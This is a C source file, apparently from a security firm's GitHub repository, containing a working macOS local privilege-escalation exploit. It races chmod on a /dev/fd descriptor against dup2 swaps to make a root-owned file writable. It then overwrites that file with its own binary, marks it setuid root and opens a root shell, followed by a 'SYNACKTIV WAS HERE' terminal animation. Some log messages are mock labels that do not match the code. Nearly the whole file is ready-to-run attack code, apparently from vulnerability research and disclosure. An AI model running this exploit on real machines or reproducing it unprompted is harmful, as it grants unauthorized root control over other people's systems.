-
Notifications
You must be signed in to change notification settings - Fork 1
/
exploit.c
485 lines (444 loc) · 15.2 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
/*
* © 2023 Eloi Benoist-Vanderbeken <[email protected]>
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS”
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/*
compile command:
$ gcc -Werror -Wall -Wextra exploit.c -lncurses -o exploit
*/
#include <copyfile.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/errno.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/sysctl.h>
#include <time.h>
#include <unistd.h>
void demo(void);
extern char **environ;
#define ENFORCE(cond, else_statement) \
do { \
if (__builtin_expect(!(cond), 0)) { \
fputs("\r", stderr); \
timed_log("[!] %s is false (l.%d / errno=%s)\n", #cond, __LINE__, \
strerror(errno)); \
else_statement; \
} \
} while (0)
static int my_chmod(char *path, int mode, int *old_mode);
static void *chmod_routine(void *arg);
static void timed_log(char *format, ...);
static void nop_signal_handler(int);
struct race_args {
char *target;
char *dev_fd_path;
atomic_bool race;
atomic_bool win;
int new_mode;
};
#define DEFAULT_VICTIM_PATH "/var/db/.configureLocalKDC"
int main(int argc, char **argv) {
int original_mode = -1, old_mode;
int error = 1;
pid_t ppid = -1;
ENFORCE(signal(SIGUSR1, nop_signal_handler) != SIG_ERR, return 1);
if (argc > 2) {
fputs(" OK!\n", stderr);
pid_t child_pid;
ENFORCE((child_pid = atoi(argv[2])) > 0, return 1);
ENFORCE(kill(child_pid, SIGUSR1) == 0, return 1);
ENFORCE(sleep(30) > 0, return 1);
ENFORCE(setuid(0) == 0, return 1);
timed_log("[+] root privileges: OK!\n");
char *argv[] = {"login", "-f", "root", NULL};
timed_log("[+] enjoy this root shell provided by Synacktiv!\n");
ENFORCE(execve("/usr/bin/login", argv, environ) == 0, return 1);
}
// just in case...
char *victim_path = DEFAULT_VICTIM_PATH;
if (argc > 1)
victim_path = argv[1];
timed_log("[+] initial setup: OK!\n");
char executable_path[2000];
uint32_t size = sizeof(executable_path);
ENFORCE(_NSGetExecutablePath(executable_path, &size) == 0, return 1);
timed_log("[+] kernel leak: OK!\n");
timed_log("[+] calculating heap layout...");
ENFORCE(my_chmod(victim_path, 0777, &original_mode) == 0, goto clean);
fputs(" OK!\n", stderr);
timed_log("[+] triggering OOB write...");
ENFORCE(copyfile(executable_path, victim_path, NULL, COPYFILE_DATA) == 0,
goto clean);
fputs(" OK!\n", stderr);
timed_log("[+] forging signed gadgets...");
ENFORCE(my_chmod(victim_path, 04755, &old_mode) == 0, goto clean);
fputs(" OK!\n", stderr);
timed_log("[+] triggering code exec...");
ppid = getpid();
pid_t pid = fork();
if (pid > 0) {
ppid = -1;
char pid_string[10];
ENFORCE(snprintf(pid_string, sizeof(pid_string), "%d", pid) <
(int)sizeof(pid_string),
goto clean);
char *argv[] = {"go", "go", pid_string, NULL};
ENFORCE(execve(victim_path, argv, environ) == 0, goto clean);
}
ENFORCE(pid == 0, ppid = -1; goto clean);
ENFORCE(sleep(30) > 0, goto clean);
error = 0;
clean:
timed_log("[+] primitive clean...");
ENFORCE(my_chmod(victim_path, 0777, &old_mode) == 0, error = 1);
fputs(" OK!\n", stderr);
ENFORCE(truncate(victim_path, 0) == 0, error = 1);
timed_log("[+] restoring initial state...");
ENFORCE(my_chmod(victim_path, original_mode, &original_mode) == 0, error = 1);
fputs(" OK!\n", stderr);
if (ppid > 0)
ENFORCE(kill(ppid, SIGUSR1) == 0, error = 1);
// only show off if we are root...
if (error == 0)
demo();
return error;
}
static int my_chmod(char *path, int mode, int *old_mode) {
static int nb_cpu = -1;
if (nb_cpu < 0) {
size_t nb_cpu_size = sizeof(nb_cpu);
ENFORCE(sysctlbyname("hw.ncpu", &nb_cpu, &nb_cpu_size, NULL, 0) == 0,
return 1);
}
int tmp_fd = -1, victim_fd = -1, blinking_fd = -1;
bool delete_tmp_file = false;
pthread_t threads[nb_cpu];
memset(threads, 0, sizeof(threads));
char tmp_file[] = "/tmp/synacktiv.XXXXXXXXXX";
char dev_fd_path[14];
struct race_args race_args = {.target = path,
.dev_fd_path = dev_fd_path,
.race = true,
.win = false,
.new_mode = mode};
int error = 1;
struct stat info;
ENFORCE(stat(path, &info) == 0, goto clean);
*old_mode = info.st_mode & 07777;
if (info.st_mode == mode)
return 0;
ENFORCE((tmp_fd = mkstemp(tmp_file)) >= 0, goto clean);
delete_tmp_file = true;
ENFORCE((victim_fd = open(path, O_RDONLY)) >= 0, goto clean);
ENFORCE((blinking_fd = dup(victim_fd)) >= 0, goto clean);
ENFORCE(snprintf(dev_fd_path, sizeof(dev_fd_path), "/dev/fd/%d",
blinking_fd) < (int)sizeof(dev_fd_path),
goto clean);
for (int i = 0; i < nb_cpu; i++)
ENFORCE(pthread_create(&threads[i], NULL, chmod_routine, &race_args) == 0,
goto clean);
while (race_args.race) {
ENFORCE(dup2(tmp_fd, blinking_fd) >= 0, goto clean);
ENFORCE(dup2(victim_fd, blinking_fd) >= 0, goto clean);
}
ENFORCE(race_args.win, goto clean);
error = 0;
clean:
race_args.race = false;
for (int i = 0; i < nb_cpu; i++)
if (threads[i] != NULL)
ENFORCE(pthread_join(threads[i], NULL) == 0, error = 1);
if (blinking_fd >= 0)
ENFORCE(close(blinking_fd) == 0, error = 1);
if (tmp_fd >= 0)
ENFORCE(close(tmp_fd) == 0, error = 1);
if (tmp_fd >= 0)
ENFORCE(close(victim_fd) == 0, error = 1);
if (delete_tmp_file)
ENFORCE(unlink(tmp_file) == 0, error = 1);
return error;
}
static void *chmod_routine(void *arg) {
struct race_args *race_args = arg;
while (race_args->race) {
if (chmod(race_args->dev_fd_path, race_args->new_mode) != 0)
continue;
struct stat info;
ENFORCE(stat(race_args->target, &info) == 0, goto out);
if ((info.st_mode & 07777) == race_args->new_mode) {
race_args->win = true;
break;
}
}
out:
race_args->race = false;
return NULL;
}
static void timed_log(char *format, ...) {
char buffer[30];
struct tm *time_info;
time_t t = time(NULL);
time_info = localtime(&t);
strftime(buffer, 30, "%Y-%m-%d %H:%M:%S ", time_info);
fputs(buffer, stderr);
va_list args;
va_start(args, format);
vfprintf(stderr, format, args);
va_end(args);
}
static void nop_signal_handler(int sig) { (void)sig; }
// the REAL stuff starts here!
#include <curses.h>
#include <sys/ioctl.h>
#include <term.h>
#define COUNT_OF(x) \
((sizeof(x) / sizeof(0 [x])) / ((size_t)(!(sizeof(x) % sizeof(0 [x])))))
#define FRAME_WIDTH 20
#define FRAME_HEIGHT 4
#define SLEEP_STEP 50
struct {
char *str;
int time;
} frames[] = {{" ===<\0"
" (°-°)\0"
" [[ ]]\0"
" |||\0",
700},
{" ===< 🍎\0"
" (°-°)\0"
" [[ ]]\0"
" ||| \0",
100},
{" ===< ||\0"
" (°-°) 🍎\0"
" [[ ]]\0"
" ||| \0",
100},
{" ===<\0"
" (°-°) ||\0"
" [[ ]] 🍎\0"
" ||| \0",
100},
{" ===<\0"
" (°-°)\0"
" [[ ]] ||\0"
" ||| 🍎\0",
100},
{" ===<\0"
" (°-°)\0"
" [[ ]]\0"
" ||| 🍎\0",
100},
{" >===\0"
" (c °)\0"
" [[ | \0"
" || 🍎\0",
500},
{" >=== ???\0"
" (c °)\0"
" [[ | \0"
" || 🍎\0",
500},
{" >===\0"
" (c °)\0"
" [[ |🔪 \0"
" || 🍎\0",
500},
{" >===\0"
" 🔪 `)\0"
" >> \0"
" || 🍎\0",
300},
{" >===\0"
" (c `)\0"
" << \\\\🔪\0"
" //> 🍎\0",
100},
{" >===\0"
" (c `)\0"
" << \\\\ 🔪\0"
" //> 🍎\0",
100},
{" >===\0"
" (c `)\0"
" << \\\\ 🔪\0"
" //> 🍎\0",
100},
{" >===\0"
" (c `)\0"
" << \\\\ 🔪\0"
" //> 🍎\0",
100},
{" >===\0"
" (c `)\0"
" << \\\\ 🔪\0"
" //> 🍎\0",
100},
{" >===\0"
" (c °)\0"
" // |\0"
" \\\\ 💥\0",
100},
{" >===\0"
" (c °)\0"
" // | 💥 💥\0"
" \\\\ 💥\0",
100},
{" >===\0"
" (c °)\0"
" // |\0"
" \\\\ 💥\0",
100},
{" >===\0"
" (c °) 💥\0"
" // | 💥 💥 💥\0"
" \\\\ 💥\0",
100},
{" >=== !!!\0"
" (c °)\0"
" [[ | \0"
" || 💻\0",
600},
{"🍾 ===<\0"
" \\(^-^)/🏅\0"
" [ ]\0"
" ||| 💻\0",
1000},
{" 🥷🥷🥷🥷🥷🥷🥷 \0"
" SYNACKTIV\0"
" WAS HERE\0"
" 🥷🥷🥷🥷🥷🥷🥷 \0",
200},
{"\0", 100},
{" 🥷🥷🥷🥷🥷🥷🥷 \0"
" SYNACKTIV\0"
" WAS HERE\0"
" 🥷🥷🥷🥷🥷🥷🥷 \0",
200},
{"\0", 100},
{" 🥷🥷🥷🥷🥷🥷🥷 \0"
" SYNACKTIV\0"
" WAS HERE\0"
" 🥷🥷🥷🥷🥷🥷🥷 \0",
200},
{"\0", 100},
{" 🥷🥷🥷🥷🥷🥷🥷 \0"
" SYNACKTIV\0"
" WAS HERE\0"
" 🥷🥷🥷🥷🥷🥷🥷 \0",
200},
{"\0", 100},
{" 🥷🥷🥷🥷🥷🥷🥷 \0"
" SYNACKTIV\0"
" WAS HERE\0"
" 🥷🥷🥷🥷🥷🥷🥷 \0",
200},
{"\0", 100},
{" 🥷🥷🥷🥷🥷🥷🥷 \0"
" SYNACKTIV\0"
" WAS HERE\0"
" 🥷🥷🥷🥷🥷🥷🥷 \0",
200},
{"\0", 100},
{" 🥷🥷🥷🥷🥷🥷🥷 \0"
" SYNACKTIV\0"
" WAS HERE\0"
" 🥷🥷🥷🥷🥷🥷🥷 \0",
200},
{"\0", 100},
{" 🥷🥷🥷🥷🥷🥷🥷 \0"
" SYNACKTIV\0"
" WAS HERE\0"
" 🥷🥷🥷🥷🥷🥷🥷 \0",
200},
{"\0", 100},
{" 🥷🥷🥷🥷🥷🥷🥷 \0"
" SYNACKTIV\0"
" WAS HERE\0"
" 🥷🥷🥷🥷🥷🥷🥷 \0",
200},
{"\0", 100},
{" 🥷🥷🥷🥷🥷🥷🥷 \0"
" SYNACKTIV\0"
" WAS HERE\0"
" 🥷🥷🥷🥷🥷🥷🥷 \0",
200},
{"\0", 100}};
void demo() {
ENFORCE(setupterm(NULL, STDOUT_FILENO, NULL) != ERR, goto fail);
char *cup = tigetstr("cup");
ENFORCE((cup != (char *)0) && (cup != (char *)-1), goto fail);
char *rc = tigetstr("rc");
ENFORCE((rc != (char *)0) && (rc != (char *)-1), goto fail);
char *sc = tigetstr("sc");
ENFORCE((sc != (char *)0) && (sc != (char *)-1), goto fail);
int i = 0;
int sleep_time = frames[i].time;
ENFORCE(sleep_time % SLEEP_STEP == 0, goto fail);
ENFORCE(sleep_time > 0, goto fail);
do {
struct winsize winsize;
ENFORCE(ioctl(STDOUT_FILENO, TIOCGWINSZ, &winsize) != -1, goto fail);
ENFORCE(tputs(sc, 1, putchar) != ERR, goto fail);
// "clear" screen
for (int line = 0; line < FRAME_HEIGHT; line++) {
ENFORCE(tputs(tparm(cup, line, winsize.ws_col - FRAME_WIDTH), 1,
putchar) != ERR,
goto fail);
for (int col = 0; col < FRAME_WIDTH; col++)
putchar(' ');
}
char *frame = frames[i].str;
int line = 0, pos = 0;
while (frame[pos] != '\0') {
ENFORCE(line < FRAME_HEIGHT, goto fail);
ENFORCE(tputs(tparm(cup, line, winsize.ws_col - FRAME_WIDTH), 1,
putchar) != ERR,
goto fail);
printf("%s", &frame[pos]);
pos += strlen(&frame[pos]) + 1;
line++;
}
ENFORCE(tputs(rc, 1, putchar) != ERR, goto fail);
fflush(stdout);
if (sleep_time == 0) {
i = (i + 1) % COUNT_OF(frames);
sleep_time = frames[i].time;
ENFORCE(sleep_time % SLEEP_STEP == 0, goto fail);
ENFORCE(sleep_time > 0, goto fail);
} else {
sleep_time -= SLEEP_STEP;
}
usleep(SLEEP_STEP * 1000);
} while (1);
fail:;
}